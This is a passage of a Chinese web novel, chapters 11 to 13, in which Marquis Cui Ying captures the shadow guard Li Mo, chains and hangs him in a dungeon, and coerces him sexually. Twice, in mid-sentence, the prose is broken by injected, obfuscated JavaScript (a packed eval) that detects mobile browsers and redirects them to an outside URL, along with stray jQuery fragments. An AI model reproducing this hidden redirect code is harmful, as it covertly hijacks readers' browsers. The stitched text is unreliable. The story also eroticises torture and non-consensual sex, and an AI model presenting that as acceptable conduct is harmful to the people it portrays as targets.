海桐追出来,低声问道:“山茶大人,你将木兰带去哪里?” 李默思索片刻,答:“春山寺那边有桃花,将木兰葬在那里,她应该会开心。” “可……”海桐犹豫,“罢了,我随你一起。” 李默摇了摇头,看向东大街的火光,“那边出事了,主人需要人手,我一个人带她去就行。” 话音刚落,别院里传来紧急的号令声,海桐只得说一句:“好,你一切小心。”便飞快折返回去。 走出巷子口,甲四带着癸五拎着药品包袱已等了许久,见男人过来连忙近前,甲四第一眼去看影卫怀中的女人。 “侯爷让我尽快带药过来,我翻了药房所有珍药,就怕保不住她的性命,没想到竟还是迟了。”甲四遗憾道,“我在索罗巷等了大半个时辰,又来这儿蹲了两刻钟,若不是怕被发现,就差砸你们家院门了。” “多谢。”李默淡淡地说了句,“不需要了。”然后径直往前走。 “她就是你要救的人?”甲四跟在影卫身旁,旁敲侧击地打听,“你们是同僚?她叫什么名字?” 李默没说话,平静得像是一尊雕塑。 甲四惯会察言观色,竟也瞧不出对方脸上有什么异常,又看那女子的模样,确实生得十分温婉动人。 怀孕堕胎而亡,莫非是怀的他的孩子?也是了,三十岁上下,寻常人早就娶妻生子,他们这种人暗地里生了情愫珠胎暗结也不是不可能,偏又不能正大光明地生产,只能堕胎了事。 甲四心下猜疑着,一时也不知该如何是好。若当真有这回事,侯爷恐怕得气疯了,只会不惜一切代价,将人立刻抓回去关起来。 “你身上的伤很重,你这么带她去哪里?”甲四又问道,“我听闻三殿下的影卫,都是死后焚尸,不会留下一点痕迹。” 李默忽然站住了脚,目光看向甲四的脸,“算我欠你一次。” “你不是欠我,你是欠侯爷。”甲四连忙道,“我也是听吩咐行事,侯爷看重你,自然想待你好,对你的要求无有不依的。” “你不许再跟我,否则我就动手了。”影卫说话的声音很轻,但眼神十分坚定。 这是警告。 甲四与癸五互觑一眼,随即往后退了两步,“行,你走吧。” 影卫一言不发地带着女人的尸体走了,那漆黑的身影融入在漆黑的夜里,渐渐地与周遭的一切看起来毫无分别。夜幕之下,黑色的瓦片,黑色的墙,连路都是黑色的。每一个出走在深夜的人,都像是行走在幽暗的孤魂。 癸五望着影卫远去的方向,问甲四:“真不跟了?” “怎么可能?”甲四瞟了癸五一眼,“小声些,跟远点,别教他发现了就是。” 两人远远缀在李默的身后,不知是对方没心思搭理,还是受了过重伤势,实在提不起从前的警惕,竟让甲四与癸五顺利地跟了一个多时辰。天色将亮,李默带着木兰到了春山寺所在的半山腰。 他很快选择了一处地方,徒手挖出一个土坑,将女人的尸体放置其中,再慢慢垒起土包,亲自替木兰埋了一座坟。 “他是喜欢这个女人么?”癸五好奇地问。 甲四摇了摇头,心里也没个准儿。 只见影卫蹲在坟前,默默垂着脑袋,得有一刻钟的时间,保持着同一个姿态,一动不动。 “你还好么?”甲四等了又等,到底没忍住现身。 这人身上的血腥味很重,一路走来耗费精力,那么重的伤,还抱了一具尸体,眼下已是强弩之末。 影卫对他的出现并不惊讶,他微微抬起视线,看了对方一眼,又很快垂落在地面。 甲四也蹲了下来,静静地看着影卫的侧脸,犹疑地问:“你,是哭了么?” 李默没有应答,只轻轻的一声叹息,微不可闻地落在凌晨的山林中。 他从腰间迅速抽出自己的短刃,径直向甲四攻去。近距离的杀招,极少有人能躲过影卫的刀。但凌空一声,癸五射出了袖箭,从后背插进了影卫的身体里。影卫失力,倒在地面上,土腥味和腐叶味萦绕在鼻间,他无力地阖上了双眼。 甲四摸了摸脖子,鲜血流了出来,好在伤得不深,还不至于丢了性命。 “这人真是个硬茬。”甲四问癸五,“你从哪儿拿的这东西?” “从你药房顺手拿的,是你研制的新药?”癸五无所谓地耸肩,“绑回去么?” 甲四简单检查了一下李默的身体,发现对方的身体滚烫,还发着高烧,只觉得心累:“真会折腾,侯爷怎么看上了这么个人?” “长得好看呗。”癸五打量着影卫的眉眼,又示意那座新坟,“挖开看看吗?” “我方才就近看过了,锁骨有穿刺伤痕,镇北侯惯用手段,是三皇子的影卫。”甲四掏了两颗保命的药喂到李默嘴里,“要是挖了坟,他醒来不知要闹出什么,罢了,麻烦点,找乙三去查。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817280|158692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦。”癸五伸出手指戳了戳影卫的脸,“挺软的,还以为是硬邦邦的。” 甲四皱眉挥开癸五的手,“这是侯爷的人,你别对他动手动脚。” 癸五无趣地站起身,“那这人带回去吗?若是将人带回去,只怕耽误侯爷今晚杀人放火,不带回去,荒郊野岭他活得成么?” “这还用说。”甲四毫不犹豫地将影卫往肩上一扛,只觉得对方身体轻得过分,“再是杀人放火,也不耽误侯爷忙里偷闲,玩弄他心爱的宠物。” 二人带着影卫回崔侯府,天光大亮,崔荧不在府里,一早就被女皇召进了宫。及至入夜,才教人从宫里抬回来,被女皇赏了几板子。这纵火大烧公主府的罪行,就这么不痛不痒地揭过了。 “母皇就这么疼那姓崔的!偏袒得简直没边了!”三皇子李佑慈恨得牙根直痒,“逼死三品官员,谋杀皇嗣,咱们苦心筹谋,竟只是一通板子了事,还只打了几下就没了,真是让人窝火!” 他恨不过,回头去看大公主李令淑,见对方冷着脸,便讨好道:“阿姐昨夜受惊了。” 李令淑冷笑,深呼一口气,埋怨道:“还不是为了你,若非帮你,我何苦再去招惹他?如今半个府宅都没了,连个住处都没有。” “弟弟那处,阿姐当自个儿地方便是,作甚来老二这儿窝着?”李佑慈往门口望了一眼,他的影卫守在外面。 这是二皇子府,姐弟俩从宫里出来,各自带着怒气便没寻个妥帖地方,直奔了大公主临时安置的院子。二皇子李重华从善如流地简单招待几句,便再也没来打扰。 “昨夜匆忙,二弟离得最近,只好在此处了。”李令淑淡淡说道,“左右母皇将清漪园赏给我住,这两日收拾一下搬过去便是。” “如此也好。”李佑慈似放下了担忧,“赵侍郎一直得阿姐欢心,阿姐也肯舍得他死。” “一个男人罢了,有什么舍不得的?”李令淑语气毫不在意,“反倒是你,一个女人都降不住。若六弟与郑薇的婚事成了,你到时还有没有未婚妻都很难说。” “阿芸心里有我。”李佑慈笃定道,“阿姐毋需担心,我自有办法不教那二人事成。” 李令淑轻嗤一声,又说到崔荧,“倒有一事,我试探出几分意思,或许能挖出崔照意的一丝弱点。” “那日郑家马车风波,我便看崔照意不同寻常,原以为他看上了郑芸,不曾想……” 李令淑笑了笑,李佑慈心中一紧,“他竟敢肖想阿芸?我非杀了他不可!” “倒也不是,他昨晚亲口承认,他喜欢的是一个男人。”李令淑引出一点线头,剩下的就由旁人去抽丝剥茧顺藤摸瓜了,反正不费她的力气,也不脏她的手。 “应当是与那日的事有关。”精致华丽的女人循循善诱。 李佑慈愣了愣,倏然想到那日马车上,除了他的未婚妻,确实还有一个男人。 他的影卫,山茶。 李佑慈顿时肃然,迅速向李令淑告辞,李令淑望着他离去的背影,抚着腕间的翡翠玉镯,幽幽地叹息。 没一会儿,二皇子李重华进门来,给李令淑泡了一壶常用的荷花茶,亲自斟了递给对方,“阿姐,你受累了。” “三弟是个莽撞性子,教他去同崔侯硬碰硬,无异于以卵击石。”李重华站到李令淑身后,娴熟地帮她揉肩捏背。 “但他有镇北侯鼎力相助,若非要他的影卫出手,我也不至于替他再去招惹崔荧。”李令淑咬牙恨声,“这崔狗,真真是可恶至极!” “倘若相宁公和五妹妹还在世,这局也就不难破了。可惜人都死了,死去的白月光只会愈发让人垂怜,谁又抵得过那道白月光的影子呢?除非……”李令淑眼里闪过狠意,“护着他的人,也不在了。” 李重华没有搭话,只说道:“崔侯的确难啃,但赵知诚就这么死了,实在是太可惜。” 李令淑揉了揉眉心,无意间泄露出一丝疲惫,“崔荧查到了他妹妹和那个孩子,他迟早得吐口。左右大明王佛堂还在修,不急。” 11. 第 11 章 崔荧多少年没被女皇责罚过,抬回来的时候,还以为受了极重的伤。余妈妈心疼坏了,招呼厨房做了不少吃食补品。甲四也顾不得绑回来的影卫,赶紧进了崔荧的主人院。 谁知,崔荧散着头发,就卧在摇椅上看闲书,一盏烛火摇摇晃晃,屋内放置了一束新的百合花,此刻开得正是鲜艳绮丽,手边有小厮剥好的核桃、栗子、杏仁等炒货零嘴。 “吃这么多上火。”甲四心下松了口气,示意小厮退下。 崔荧视线未抬,翻了一页书,佯怪道:“你管得真多。” “来给你上药,侯爷,我看看伤。”甲四将茶几上的零嘴收了大半,崔荧只当没看见。 他搁下书,懒懒地扯了一下身上的毯子,说:“宫里看过了,哪处的伤都看过,张太医的推拿手法,实在比不得你,把我都揉疼了。” 男人眼里带着笑,摸了摸胸口,那是色令智昏遭山茶大人踢的一脚。时至今日,还没有好多少,淤青愈发显得可怖。 “圣人撸了我的官职,内阁暂时不去了,左右那几个老顽固能做主,我也能得几日好心情。” 说白了,崔侯爷入内阁,加封同凤阁鸾台平章事,不过是女皇埋下的一根眼线罢了。 内阁首辅,位同宰相,但宰相好几位,那些个中书令、侍中、参知政事等,都不是省油的灯,连对上女皇都能叫板。女皇也是性儿好,容了刘唐旧臣在朝为官,这些朝中大员经二十余年潜移默化,是认女皇为刘家妇的,办起事来也是为国为民。反倒衬得崔侯爷愈发像个是非不分的奸佞,惑乱君王的妖物。 朝臣们不怨女皇篡权夺位,只恨崔侯爷作恶多端毫无人性,个个恨得牙直痒痒,逢年过节都得诅咒一二,才算过了个节庆。平日里街头巷尾,更是编了不少话本段子,拐着弯儿骂崔照意。 崔侯爷心情好不讲究,还能听了响给几个赏钱,心情不好就直接把人关大牢。 如此阴晴不定肆意妄为,偏还得了圣人的恩宠,杀人放火如同小孩子过家家,打了板子圣人还要亲自去问候?派了太医将人整个儿里里外外都伺候遍了,生怕伤了一分一毫,这天底下哪有这样的道理? 也不怪皇嗣们群起愤之,朝臣们也不待见这位名义上的内阁首辅了。 这两年崔侯爷出入内阁,那些个老顽固倒愈发顺从女皇,女皇政令所出,如臂使指,未尝没有崔侯爷名声太恶的功劳。 “圣人体谅,你猜她今日问我什么?”崔荧幽幽地笑着,笑里多了一丝嘲弄,“她问我这伤,疼不疼。” 甲四暗暗叹气,只觉得每年总有一些时日,他家侯爷会真的发疯的。 “嗐,圣人高坐楼阁,想也是忘了人间冷暖了吧。”崔荧一眨不眨地睁着眼,那眼眶泛着红,不知是恨还是怒。 他深呼一口气,仰起头望着天花板,随后又扯着嘴角笑了,缓缓低下头,长发覆盖了半张面容。 崔荧低声说道:“我告诉她不疼,她就软话哄我,说我小时候最怕疼,手心摁在石子上都要哭半天,如今倒口是心非,什么都不怕了。” “哈哈,真有意思啊,我伏身谢恩了,圣人就什么话都不说了。”崔荧用指尖抚过眼尾及至太阳穴。 晃动的烛火照映着男人俊美的面庞,一半光亮,一半幽暗,宛如炼狱爬出的厉鬼,正酝酿着摧毁整个人间。 静默片刻后,甲四劝慰道:“余妈妈煮了侯爷爱吃的饺子,有玉米馅,菌菇馅,莲藕馅,还有虾仁,肘子,蟹黄豆腐……” “你呀。”崔荧莞尔,“不是不许我多吃么?” 他抬眼,看到了甲四脖颈上的血痕,细长一条,再深一毫,便足可致命,眼前人就不会站在此处了。 “差点儿被人抹脖子?”崔荧点了点那伤痕。 甲四嗯了声,“躲得及,不妨事。” 又见崔荧长发凌乱,他便拿起梳子上前帮侯爷整理。只听得侯爷一声轻叹,“自个儿省省吧,好歹要死在我后头。” 这话低得微不可闻,甲四手上一顿。 崔荧用手指捏了一颗杏仁放进嘴里,忽然又问:“糖葫芦买了吗?” 甲四倒忘了这事,连忙拿出打包的糖葫芦,展开在崔荧面前,晶莹的糖水有些化开了,黏乎乎的,卖相并不算好。崔荧鼻间闻到沁甜的香气,他拿起咬了一颗,很快吐了出来,皱着眉:“这好吃么?” 甲四没尝过,只得道:“属下确实在梁氏糖水铺买的。” “行吧。”崔荧又咬了一颗,“也就一般吧,他这么喜欢?” 甲四摇了摇头,表示不知,“要不然侯爷亲自问问他?” “问他?”崔荧愣了一下,“他,抓回来了?” “人醒了,暂时关在禁室。”甲四解释道,“白日里带回来时,本是安置在隔壁绿华院,但这人醒了要逃,那副锁链他不知怎么知道机关,若不是他精力不济,府里又要被闹翻天。” 崔荧听着这话,已然起了身,很有兴致地往屋外走去,健步如飞竟看不出刚受了杖刑。 甲四偷觑侯爷行走的身形,暗自想侯爷这腰和臀应当无事,一边说道:“属下是担心又让人跑了,就先锁在禁室里,人是收拾干净了的,也上了药。” “浑身都是刀口子,有些伤口还在渗血,也不知这几天是怎么熬的。” 崔荧走快了几步,倒也扯得自己的伤势疼,便不自觉慢下来,随口说道:“他骨头硬,没什么扛不住的,那天晚上都没叫出声,特别会忍。” 甲四只当没听见,伴着崔荧去禁室的路上,继续说道:“若是让他还留在臭水巷,恐怕不好,因此属下自作主张带回来,用了些珍药,好生养小半月,应当能恢复元气。” 崔荧嗯了一声,“怀孕的女人查到了吗?” “我见过女人的尸体,是三殿下的影卫,大出血死的。” 走到禁室入口,甲四推开厚重的大铁门,里面昏暗得看不清影。丁一递过来一盏灯笼,命人将沿路的灯盏点亮,崔荧才缓步踏进门。 “人让乙三去查了,孩子不知是谁的,不过这女人应当是近几年才跟着三殿下,没在浩京城活动过。” 甲四提着灯笼走在前面,越往里越觉得阴冷,还有钻入鼻间的一股难以言喻的味道,腐败,陈旧,血腥。 “北境远,慢慢查,拿捏一个人的心,要从细微之处撬开一条缝,再硬生生往里钻。”崔荧唇边噙着玩味的笑,“钻进去了,再一点一点蚕食他的理智,占据他的精神,任何时候都不要往后退。” 最后一间,是一间审讯室。 这一间最大,顶部开了一个天窗。那是一个井,嵌着几十斤重铁钎子,寻常人连井口都爬不上,就更不可能打开那井口的窗了。月光从那一方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817281|158692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 井口洒下来,照亮了审讯室里的那个人。 那个人还是一身黑衣,蜷缩在地上,被四根铁链拴着手脚,他闭着眼,脸色有些白,唇边那颗小痣,在月光下显出一种别样的漂亮来。 他明明是个阶下囚徒,明明身受禁锢,明明孱弱不堪,却不知为何在一扇朦胧的月光笼罩下,像是被镀了一层晕白的光环,宛如初临人间的谪仙。 他既脆弱又坚强,既污秽又纯洁,没有伸直的身体,却又显得那么锋利而挺拔。 崔荧隔着铁栅栏,望着奄奄一息的影卫,心里生出一刹那的异样感,摸不清道不明,转瞬即逝。 “喂过吃食了吗?”崔荧问甲四。 甲四回答道:“喂过,吐了,吃不进,我用了麻沸散给他止疼,他现在应当好受一些。” 崔荧笑了下,“他该知道疼才好。” “你看看他,孤身一人,身受重伤,躺在敌人的地牢里,没有后援,没有逃出去的希望。”崔荧盯着影卫的身影,“也没有任何人会来拯救他,他就像被这个世间抛弃,连一丝挣扎都徒劳,多可怜啊!” “瞧瞧,”崔荧眼眶红红的,唇边挂着魅惑的笑,“无休止的囚禁,与随时随地的折磨,仿佛断了线的风筝,飘在空中摇摇欲坠,呵呵,可真是一只可怜极了的,丧家之犬呐……” 甲四沉默片刻,终究还是开口:“侯爷,他的身体承受不住,需要养几日才好。” 崔荧轻笑一声,拉下了墙上的机关,只见那室内的铁链慢慢收缩进墙体,发出沉重的拖曳声,伴随着链条缩短,影卫睁开了那双眼睛,露出了惯常漆黑的瞳孔。 他没有显出一丝惊恐,仿佛一切都不能使他震惊,他平静地接受了一切。 铁链将他从地上拽了起来,再一点一点吊起,他开始像一只真正的风筝,手与脚都毫无着力之处,在半空中飘荡着。 月光如水,加诸在他身上的痛苦,似乎都被洗涤了,他看起来更加神圣而纯洁。 真想破坏他,毁灭他,看着他失态,看着他凌乱不堪苟延残喘……崔荧心头微痒,静静地看了影卫许久,影卫却只是淡淡扫过一个眼神,随后便再也没有看过来了。 崔荧心里很不大高兴,他穿过铁栅栏,慢慢走近,伸出手,触及到了影卫的腹部,以及腹上系着的腰带。 影卫的腰束得很紧,有种不可被侵犯的禁欲感,整个人愈发瘦削,那一把腰似乎能轻易被折断。崔荧的手指玩弄着那一封腰带,打量着影卫的身体,然后缓缓用力,一点一点解开,没有任何花纹的黑色带子掉落在地上。 影卫的衣裳开始变得宽松,若隐若现地露出肌肤,崔荧手指勾着影卫的衣襟,他挑眉看着男人的脸,和那一言不发紧绷的唇。 “好孩子,又见面了啊。”崔荧的手指探进影卫的衣裳里,触及到对方的伤痕与肌肤。 影卫的腰身因挂在空中而绷得很紧,此刻忽然微微一颤,崔荧笑得更深了,他再次抬眼看对方,却倏尔一瞬,撞进了那双漆黑如星夜的眸。 崔荧在那双干净的瞳孔里,看到了自己的模样,一个沾染着欲、望与邪恶的狐狸精。 影卫的喉结滑动,发出沙哑的声音:“侯爷,卑职有一事相求。” “请说。”崔荧的语气尤为温柔。 影卫深吸一口气,轻声开口:“能不能暂时别睡我?” 12. 第 12 章 “哦?”崔荧听到这话倒惊讶了,“你在求我吗?山茶大人!” 他戏弄的意味愈发地强,手指在影卫的身上徐徐游走,时而用力,时而轻柔,一点一点侵入影卫的每一寸肌肤,每一道伤口。 铁链发出晃动的声音,影卫绷着脸,脸色泛红。伤口是疼的,被触及的身体每一处都是疼的。 但崔侯爷喜欢看山茶大人难耐的神情,他愉悦地笑道:“本来么,你不逃,我好好养着你,伤也好得快些。唉,可你不听话,偏要为难我,没办法。” 崔荧的语气十分无辜,手指捏着影卫的裤腰,似用力又不用力,那双狐狸眼玩味地盯着影卫的脸。 “看看,这血肉模糊的一个人儿,真真是教人心疼啊。” 李默张了张嘴,到底是无话可说,沦为一个禁、脔,实在不是一个体面的归宿。 但就像刘伴伴说的,他早该想到这一天,干这一行不能长一副让人生出遐想的皮囊,倘若有命活着出去,他决定将自己的脸毁了。行走于幽暗,面容实在无甚用处,反倒惹了眼下的祸端。 影卫轻轻叹了口气,“侯爷是想把卑职玩废么?” “怎么会呢。”崔荧笑,幽幽地说道:“好孩子,我心疼你还来不及。” 嘴上这样说,但手上却牵着影卫的裤腰,再稍一用力,便能将对方的裤子扯了。崔侯爷拿捏人心的样子,如同鬼魅一般,谁妄图跟他讨价还价,都只是进入他的游戏陷阱,受他玩弄罢了。 “那,”影卫艰难地说道,“能否容些时日?” “容你什么?”崔荧明知故问。 影卫的脸上露出一丝难堪,这是他极少表露人前的情绪,他沉默着,没有说话。 崔荧的手多用一分力,裤子在往下扯,影卫垂眸看着那一只如玉修长的手,如蛇蝎般狠辣恶毒,曾在他身上为祸作乱,让他难以承受溃不成军。 “卑职伤重,恐怕不能让侯爷尽兴。”李默低声说着,声音微不可闻。 崔荧凑近了,嘴角带着笑,耳侧靠在影卫的唇边,那一头青丝堪堪撩在影卫的脸上,“嗯?你再说一遍?” 李默紧绷着唇线,不肯再开口说话,崔荧那双勾魂摄魄的眼睛,像是闪动着光,“哎呀,竟没曾想山茶大人有这份心思,想着如何伺候好让我尽兴,我一时竟有些感动了。” 男人的手毫不留情地往下探,狠狠摸了一把,影卫发出一声闷哼,“崔侯爷……” “真软。”崔荧将那只手递到影卫的眼前,“手感不错,闻闻,有没有什么味道?” 李默的双颊染上一片红,他避开崔荧的视线,头微微往后仰,尽力去躲避男人的接触。 男人冷眼瞧了片刻,忽然一笑:“既然你有这份伺候我的孝心,我也不好驳了你的心意,不过山茶大人应该清楚,我崔某人从不做慈善。” “所以,山茶大人要跟我谈条件,拿什么做交换呢?” 循循善诱的语气,像是一颗邪恶的种子,随着声音钻进李默的脑子里,在他的脑海里炸开了花。他明知这位恶名远播的崔侯爷不会有什么好心善行,一字一句都在谋取利益与欢心。 但他作为一个影卫,除了完成任务,保全性命为主人继续效力外,还有什么可失去的呢? 他必须得博取一线生机,必须得寻找机会活下去,崔侯爷的床可不好躺,上次他未曾受伤已近崩溃,如今只剩下半条命,还能从崔侯爷的床上活着下来吗? 他非得玩死自己不可。 李默闭上了眼,毕生最艰难的时刻,不是受金吾卫追杀,也不是遭莫尔军围攻,而是前几日躺在崔侯爷的身下,伴着百合花的香气,遭受近乎令人失智的冲击。 “侯爷想说什么?”李默开口问。 崔荧笑吟吟道:“山茶花明艳美丽,让人怜惜得很。” 男人伸手抚摸李默的脸,“将山茶大人绑起来折磨至死,未免觉得可惜,你有孝心我不忍亏待你呀,要不然这样……” 他故作思量,“我现在饶过你也可以,那山茶大人后面可得心甘情愿地伺候我才行呐。” 心甘情愿四个字咬得很重,男人像是在引诱一个良家少女堕入魔窟,而付出的代价必然是难以承受。 “好。”李默声音很哑,唯有答应。 崔侯爷不善武力,这是要他顺从听话婉转承欢,否则必然是制不住自己,也无法得逞的。左不过是被睡几次,木兰、青棠、海桐被主人睡,他被崔侯爷睡,身体血肉,不过是工具罢了。他是男人,不会怀孕,也经受多年训练,扛得过去的。 他得想办法活下来,再徐徐图之。 “答应得真痛快。”崔荧脸上在笑,眼里却没有笑意,“听起来山茶大人无甚骨气,若是让你家主人知道你这副模样,不知会做如何感想?” “卑职贱命,不足挂齿。”李默不为所动。 崔荧脸上彻底没了笑意,那双蠢蠢欲动的手也收了回去,不再触碰被吊起来的影卫。 “这世上,只有人与狗,人与鬼之分,哪有贱与贵的区别?” 影卫没有说话,崔荧瞧着他,打量着他,最后用悲悯的语气说道:“好孩子,我给你五天时间,容你将身上的血腥味收一收,若有命在,来我房里讨我开心。” “多谢侯爷。”李默心下松了一口气。 他不在意被困在囚室,也不在意受了多少伤,着实是崔侯爷的手段太恶劣,饶是他经受过一次,也心生畏惧不敢再冒险。 崔荧见他松懈,忽然出尔反尔,恶劣地开口:“可是山茶大人,空口无凭,你身手不凡,若是在床上暗杀我,我只怕没有半分生机,所以……” 李默瞳孔微张,望着男人的脸,妖而不媚的玉面阎王,根本捉摸不透。 “主人没有下令,卑职不会执行暗杀任务。” 崔荧点点头,意味深长地哦了一声,“那三皇子给你下达的是什么任务呢?” 李默怔怔地看着崔荧,闭口不言。 崔荧倒也不寻根问底,“好吧,你不说也没关系,我也没什么兴趣知道。” “我只在乎山茶大人你。”崔荧的声音如同情人耳畔低语,“我答应你的请求,但总得让我提前获取一些报酬吧?作为定金,山茶大人似乎应该拿出一些诚意来。” 李默便知崔侯爷不是个善茬,随时随刻用言语戏弄他,甚至羞辱他。 “侯爷想要什么报酬?”他嘴唇紧抿,细瞧微微颤动,显然已经到了极限。 崔荧不禁愈发愉悦起来,仿佛得了胜利一般,他微微摇头,又几近蛊惑地说道:“我想看山茶花汁水横流,不知大人可否 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影卫答:“侯爷忘了么,那晚你用了针。” “伤着了呀,废了么?”崔荧故作惊讶,“那多可惜。” 影卫沉默,难堪让他没法再开口。 他这副身躯,已经被崔侯爷作弄得不成样子,如今还要击溃他的尊严,玩弄他的精神,碾压他的心志。阶下之囚,丧家之犬,不外如是。 他是卑贱的影卫,是苟活于世为人卖命的走狗,是被这世间抛弃的孤魂野鬼。 输了,被抓了,被囚禁了,被侮辱了,似乎也没有什么关系。 挣扎着,活着就行。 “好吧,那我问你几个问题,你如实回答我,只要我高兴了,便给你一次机会,可好?” 李默没有回答,他觉得耳畔嗡鸣,整个脑袋从前到后都疼得厉害,甚至疼过了全身上下的伤口。 他的世界,只剩下了血色和疼痛,还有崔侯爷恶魔般的声音:“好孩子,你告诉我,你之前有过别的男人么?” 李默无力地回答:“没有。” “女人呢?” “没有。” “那是第一次吗?” “是。” “之前会自己弄么?” “不会。” “为何?” “不喜欢。” “那现在呢?” “不……” “为什么呢?” “疼……” 他的世界里只剩下了疼,不知过了多久,他迷迷糊糊被人掀开眼皮,看到了崔侯爷那张熟悉的脸,妖魅而嗜血,恶毒而癫狂。 崔侯爷捏着他的下巴,狠狠地咬住他的嘴唇,他闻到薄荷的清香,还有淡雅的檀香,以及好几种香味交杂,掩盖了他身上浓烈的血腥味。 崔侯爷爱用香料,爱饲弄花草,走到哪儿都带着一股子香气。这是崔侯爷的味道,强势地侵入到他的身体里。 影卫的嘴唇又被咬破了,崔荧看着眼前的男人,像是被摧残了的山茶花,鲜血的红与对方过分白皙的肤色,果然十分相配。 崔荧的心情十分愉悦,笑道:“好孩子,我答应你了,到时不要让我失望哦。” 13. 第 13 章 崔荧走出审讯室,甲四站在铁栅栏之后,背对着里面,眼观鼻鼻观心。 甲四没有离开,也是担心崔荧出什么意外,毕竟上一次侯爷就被那影卫扒光了绑起来,这事到底很不光彩。只是崔侯爷经了这等事,似乎也没有对那影卫添多少怒气。 里头的动静,他都听得差不多了,侯爷兴冲冲地来,却当场没有动手,可见也是存了容忍之心。 皎洁的月光透过那一方井口落下来,吊在半空的影卫像是一只受了伤的孤鹰,独自在深夜里舔、舐伤口。 甲四偷偷瞥过去看了一眼,不等收回视线,便听见侯爷在身旁一声轻叹:“你是不是也觉得,他会让人心里生出一些莫名的不舒服?” “不舒服?”甲四摇头,“并未,属下只觉得他跟着三殿下,确实可惜了。” “三殿下手里的影卫,死了一批又一批,从来不被当回事,镇北侯每五年就得训练一批新的,来补三殿下那的空缺。属下这几日跟踪他,发现即便他这样受重用的人,受了伤也不过是用着寻常的药物等死罢了。他不是跟了三殿下十几年了么,总该有些情分才对。” “何止十几年,神武政变前,应当有二十年了。”崔荧的视线透过影卫看向远处,嘲弄地笑了下,“一把刀,在主人眼里,不过就是物件罢了。不好用了,受损了,扔了便是,何曾当个人看?” “那侯爷为何对他会心里不舒服?”甲四询问道,“可是那伤势有碍?” “不知道。”崔荧一只手按在胸口上,感受着那里陌生的情绪,“只觉得心里酸酸涨涨的,就像被一颗发芽的种子撑开了一样,说不清楚。” “侯爷大约是喜欢他?”甲四眉眼一动,不确定地说道。 崔荧笑着摇头,望着影卫狼狈的身影,徐徐说来:“当年在掖幽庭的时候,我见过他。” 掖幽庭的往事,是一个高贵的世家公子堕入无间地狱的开始,而后的诏狱,更是崔荧永生难忘的至暗时刻。崔荧不介意提,却也很少提起这些事情。 但此刻他提起来,像是在讲别人的故事一样,没有丝毫情绪,也不知是否完全放下了。 “父亲是太子殿下的老师,我是太子殿下的伴读,太子一倒台,我被罚入掖幽庭。我还记得有一回,被人用拇指粗的麻绳,也是这样被吊在一座废殿的房梁上,吊了大概五天五夜。起初他们想欺辱我,扒了我的衣裳,一直灌我水喝,灌了一两个时辰,想看我憋不住当众尿出来。” “光风霁月的崔氏,向来受人敬仰,一旦失了势,总有人想踩在脚下蹂、躏。” 崔荧扯着嘴角想笑,却没能笑出来,反而发出了一声叹息,“后来他们走了,说要给我教训,等我知错了求饶。不曾想他们却忘了我,那座废殿没有人去的,我就这样被吊了五天五夜,直到有一天夜里,有个小孩来解下了我的绳子。” “他与我年龄相仿,蒙了面,不过我认得他的身形,经常跟在李佑慈身边。” 甲四听到此处,不由得惊讶:“便是他么?” 崔荧点了点头,“是他,在我一只脚踏进鬼门关的时候,他救了我。” “那侯爷怎么对他……”甲四自知失言,话说了一半便住了嘴。 崔荧明白那未尽之言,“你想说我怎么对他恩将仇报,是吧?” 甲四垂眸,没有应答,崔荧拍了拍他的肩膀,淡淡地说道:“因为也是他,捆住了我的手脚,亲自将我吊起来的。” “所以我吊他一晚上,应当不过分吧?”崔荧看着李默惨白的脸,手腕被勒出很深的血印子,“我手脚无力,习不得武,也是那时候埋下的祸根。不过这种事情嘛,过去了就过去了,在这浩京城,谁与谁没有恩怨呢,谁又与谁没有一段过往呢?” 崔荧抬步往外走,甲四跟在后面,只觉得侯爷浑身上下散发着一种说不清道不明的忧伤。 这让他显得更加冷静,更加从容,也更加比平常像一个鲜活的人了。 “对了,你盯一下他的伤势,若是不好,就把人放下来。”走出禁室,崔荧到底吩咐了一句,“也不必真要一直吊着他,教人死了,还有什么意思呢?” 再走好长一段路,崔荧又吩咐道:“放下来之后,就把人弄到绿华院,那机关我会调一下,他不会再解开了。” 甲四应是,转身往禁室走去。 崔荧喊住他,“你,那个……”崔侯爷难得局促,见甲四不明所以,他犹豫之下,忽然恶声恶气道:“你买那糖葫芦不好吃,给他吃得了。” 甲四再次应是,没忍住偷偷笑了下,“那侯爷你回去将饺子吃了罢。” “知道了。”崔荧不耐烦地摆摆手,“我猜他这两天,暂时不会逃脱,扔绿华院锁不锁的,也没什么两样。” “侯爷,属下明白,您就是怜惜他。”甲四大着胆子调侃。 崔荧顿时冷脸,嗤道:“滚,还是将他锁起来。” 这样的吩咐,甲四自然是没有听的。他一回到禁室,就去将李默放了下来,再细心不过地喂了药,检查了伤势,招呼两个人大张旗鼓地抬进了绿华院。 李默昏昏沉沉的,被人塞嘴里一颗甜滋滋的糖葫芦,他舌尖舔了下,费力地睁开眼。 只见那五大三粗的甲四,伸着脖子一个劲儿往隔壁苍梧院瞧,侯爷卧房的灯还亮着。 他扯着嗓子喊道:“你们两个抬人的,轻着些,这是侯爷的人,别又把伤口弄坏了。” 崔荧卧房的灯,啪一下就熄灭了。 